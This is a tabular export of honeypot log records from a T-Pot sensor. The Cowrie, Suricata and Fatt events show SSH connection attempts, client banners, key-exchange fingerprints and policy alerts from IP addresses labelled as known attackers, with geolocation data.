35914	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:10:26.434375+03	2021-09-20 15:15:03.889719+03	{"_id": "gAYdA3wBvYTbRNuEVl4Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "13674e4b23ac", "@version": "1", "timestamp": "2021-09-20T12:10:26.434375Z", "@timestamp": "2021-09-20T12:10:26.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35915	119.29.153.168	109.199.241.180	Suricata	2021-09-20 15:10:26.430215+03	2021-09-20 15:15:03.890717+03	{"_id": "ggYdA3wBvYTbRNuEV145", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 1317571314931524, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41024, "dest_port": 22, "timestamp": "2021-09-20T12:10:26.430215Z", "@timestamp": "2021-09-20T12:10:26.430Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35916	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:26.430377+03	2021-09-20 15:15:03.891719+03	{"_id": "iQYdA3wBvYTbRNuEWF58", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41024, "timestamp": "2021-09-20T12:10:26.430377", "@timestamp": "2021-09-20T12:10:26.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35917	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:10:28.000266+03	2021-09-20 15:15:03.893694+03	{"_id": "iwYdA3wBvYTbRNuEX14M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/libhtp::request_uri_not_seen", "length": 9436, "http_port": 0}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "dest_ip": "107.189.14.98", "flow_id": 1573778995262769, "@version": "1", "fileinfo": {"md5": "b991cdd033998934e0b9059374aa6678", "gaps": false, "size": 9436, "magic": "HTML document, ASCII text", "state": "CLOSED", "tx_id": 1, "stored": false, "filename": "/libhtp::request_uri_not_seen"}, "src_port": 80, "app_proto": "http", "dest_port": 44036, "timestamp": "2021-09-20T12:10:28.000266Z", "@timestamp": "2021-09-20T12:10:28.000Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
35918	190.201.223.33	109.199.241.180	Suricata	2021-09-20 15:10:30.658903+03	2021-09-20 15:15:03.894693+03	{"_id": "kwYdA3wBvYTbRNuEZl7d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:10:27.099870+0000", "pkts_toclient": 5, "pkts_toserver": 6, "bytes_toclient": 385, "bytes_toserver": 442}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 842470622725662, "payload": "U1NILTIuMC1saWJzc2hfMC45LjYNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40254, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:10:30.658903Z", "@timestamp": "2021-09-20T12:10:30.658Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh_0.9.6\\r\\n"}}	1	\N	\N	alert	known attacker	VE
35919	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:10:43.008141+03	2021-09-20 15:15:03.89572+03	{"_id": "ogYdA3wBvYTbRNuEmF6J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "acf9475303fa", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:10:43.008141Z", "@timestamp": "2021-09-20T12:10:43.008Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35920	120.36.157.98	109.199.241.180	Suricata	2021-09-20 15:10:43.316591+03	2021-09-20 15:15:03.897691+03	{"_id": "pgYdA3wBvYTbRNuEmV6r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:10:42.698820+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 540192972908996, "payload": "AAADzAYULWBfcgKTQxzyE6Pu+rO8ZQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 64125, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:10:43.316591Z", "@timestamp": "2021-09-20T12:10:43.316Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......-`_r..C........e...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
35921	120.36.157.98	109.199.241.180	Fatt	2021-09-20 15:10:43.316591+03	2021-09-20 15:15:03.898719+03	{"_id": "pwYdA3wBvYTbRNuEml6n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 64125, "dest_port": 22, "timestamp": "2021-09-20T12:10:43.316591", "@timestamp": "2021-09-20T12:10:43.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35922	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:10:45.313711+03	2021-09-20 15:15:03.899722+03	{"_id": "rwYdA3wBvYTbRNuEoF5b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.219:55896 (192.168.176.2:22) [session: 660c738703e1]", "session": "660c738703e1", "@version": "1", "protocol": "ssh", "src_port": 55896, "dest_port": 22, "timestamp": "2021-09-20T12:10:45.313711Z", "@timestamp": "2021-09-20T12:10:45.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
35923	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:10:45.350604+03	2021-09-20 15:15:03.900719+03	{"_id": "tAYdA3wBvYTbRNuEoF5b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "daecd1cf5bab", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:10:45.350604Z", "@timestamp": "2021-09-20T12:10:45.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35924	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:10:26.152434+03	2021-09-20 15:15:03.902721+03	{"_id": "fwYdA3wBvYTbRNuEVl4Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:41024 (192.168.176.2:22) [session: 13674e4b23ac]", "session": "13674e4b23ac", "@version": "1", "protocol": "ssh", "src_port": 41024, "dest_port": 22, "timestamp": "2021-09-20T12:10:26.152434Z", "@timestamp": "2021-09-20T12:10:26.152Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35925	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:10:26.154722+03	2021-09-20 15:15:03.90372+03	{"_id": "fgYdA3wBvYTbRNuEVl4Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "13674e4b23ac", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:10:26.154722Z", "@timestamp": "2021-09-20T12:10:26.154Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35926	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:10:26.000228+03	2021-09-20 15:15:03.904723+03	{"_id": "gwYdA3wBvYTbRNuEV146", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:25.680507+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "87.251.67.120", "flow_id": 151414675694139, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 42948, "timestamp": "2021-09-20T12:10:26.000228Z", "@timestamp": "2021-09-20T12:10:26.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35927	119.29.153.168	109.199.241.180	Fatt	2021-09-20 15:10:26.433723+03	2021-09-20 15:15:03.905719+03	{"_id": "hAYdA3wBvYTbRNuEWF44", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41024, "dest_port": 22, "timestamp": "2021-09-20T12:10:26.433723", "@timestamp": "2021-09-20T12:10:26.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
